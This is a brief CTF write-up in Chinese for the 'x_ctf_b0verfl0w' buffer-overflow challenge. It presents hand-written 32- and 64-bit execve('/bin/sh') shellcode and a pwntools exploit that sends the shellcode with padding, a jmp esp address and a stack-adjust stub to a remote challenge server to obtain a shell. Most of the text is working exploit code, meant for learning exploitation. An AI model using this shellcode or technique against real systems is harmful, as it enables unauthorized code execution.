x_ctf_b0verfl0w
这里记录汇编代码写shellcode+jump esp指令劫持esp的情况
可以溢出的字节放不下pwntools生成的shellcode时,需要我们自己写shellcode缩短长度
32位:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| shellcode =''' xor eax,eax #eax置0 xor edx,edx #edx置0 push edx #将0入栈,标记了”/bin/sh”的结尾 push 0x68732f2f #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh push 0x6e69622f #传递“/bin” mov ebx,esp #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx xor ecx,ecx mov al,0xB #eax置为execve函数的中断号 int 0x80 #调用软中断 ''' shellcode=asm(shellcode) #shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" shellcode="\x31\xC0\x31\xD2\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC9\xB0\x0B\xCD\x80"
|
64位:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| shellcode=asm(''' xor rax,rax push 0x3b pop rax xor rdi,rdi mov rdi,0x68732f6e69622f push rdi push rsp pop rdi xor rsi,rsi xor rdx,rdx syscall ''') shellcode = '\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05'
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context(os='linux', arch='i386', log_level='debug')
io = remote("node4.buuoj.cn",25948) shellcode = "\x31\xC0\x31\xD2\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC9\xB0\x0B\xCD\x80" print len(shellcode)
jmp_esp=0x8048504 sub_esp_jmp=asm('sub esp,0x28;jmp esp')
payload=shellcode+(0x20-len(shellcode)+4)*'a'+p32(jmp_esp)+sub_esp_jmp
io.sendline(payload)
io.interactive()
|